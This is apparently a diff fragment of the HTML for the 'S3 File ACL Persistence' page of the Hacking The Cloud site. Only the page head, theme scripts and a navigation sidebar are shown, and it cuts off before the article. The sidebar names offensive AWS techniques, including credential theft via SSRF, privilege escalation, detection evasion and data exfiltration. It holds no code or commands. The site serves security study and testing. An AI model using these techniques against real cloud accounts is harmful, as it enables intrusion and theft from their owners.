href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="S3 File ACL Persistence - Hacking The Cloud"><meta property=og:description content="Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="S3 File ACL Persistence - Hacking The Cloud"><meta property=twitter:description content="Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects."><link href=https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ rel=canonical><link href=../run_shell_commands_on_ec2/ rel=prev><link href=../survive_access_key_deletion_with_sts_getfederationtoken/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>S3 File ACL Persistence - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="S3 File ACL Persistence - Hacking The Cloud"><meta property=og:description content="Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/post_exploitation/s3_acl_persistence/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="S3 File ACL Persistence - Hacking The Cloud"><meta property=twitter:description content="Maintain access to S3 resources by configuring Access Control Lists associated with S3 Buckets or Objects."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/post_exploitation/s3_acl_persistence.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#requirements class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> S3 File ACL Persistence </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=false> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../enumeration/account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/brute_force_iam_permissions/ class=md-nav__link> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5 checked> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=true> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> S3 File ACL Persistence </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> <nav class="md-nav md-nav--secondary" 